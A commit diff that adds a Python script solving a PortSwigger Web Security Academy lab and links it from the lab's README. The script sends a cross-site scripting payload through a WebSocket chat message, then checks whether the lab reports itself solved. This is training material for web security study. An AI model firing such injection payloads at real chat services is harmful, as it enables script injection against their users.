Add script

16_websockets/Manipulating_WebSocket_messages_to_exploit_vulnerabilities/README.md

@@ -6,7 +6,7 @@ This write-up for the lab *Manipulating WebSocket messages to exploit vulnerabil
 
 Lab-Link: <https://portswigger.net/web-security/websockets/lab-manipulating-messages-to-exploit-vulnerabilities>  
 Difficulty: APPRENTICE  
-Python script: Sorry, currently no script
+Python script: [script.py](script.py)  
 
 ## Lab description
 

16_websockets/Manipulating_WebSocket_messages_to_exploit_vulnerabilities/script.py

@@ -0,0 +1,49 @@
+#!/usr/bin/env python3
+# Manipulating WebSocket messages to exploit vulnerabilities
+# Lab-Link: https://portswigger.net/web-security/websockets/lab-manipulating-messages-to-exploit-vulnerabilities
+# Difficulty: APPRENTICE
+import requests
+import sys
+import time
+import urllib3
+import asyncio
+import websockets
+
+urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
+proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
+
+
+async def main():
+    print('[+] Manipulating WebSocket messages to exploit vulnerabilities')
+    try:
+        host = sys.argv[1].strip().rstrip('/')
+    except IndexError:
+        print(f'Usage: {sys.argv[0]} <HOST>')
+        print(f'Exampe: {sys.argv[0]} http://www.example.com')
+        sys.exit(-1)
+
+    client = requests.Session()
+    client.verify = False
+    client.proxies = proxies
+
+    url = f'wss://{host[8:]}/chat'
+    print(f'[ ] Using WebSocket URL: {url}')
+    async with websockets.connect(url) as websocket:
+        await websocket.send('READY')
+        r = await websocket.recv()
+        print(f'[+] Received message: {r}')
+        await websocket.send('{"message":"<img src=x onerror=alert(document.domain)>"}')
+        r = await websocket.recv()
+        print(f'[+] Received message: {r}')
+
+    # I had some times issues getting the proper result, so wait briefly before checking
+    time.sleep(2)
+    if 'Congratulations, you solved the lab!' not in client.get(f'{host}').text:
+        print(f'[-] Failed to solve lab')
+        sys.exit(-9)
+
+    print(f'[+] Lab solved')
+
+
+if __name__ == "__main__":
+    asyncio.run(main())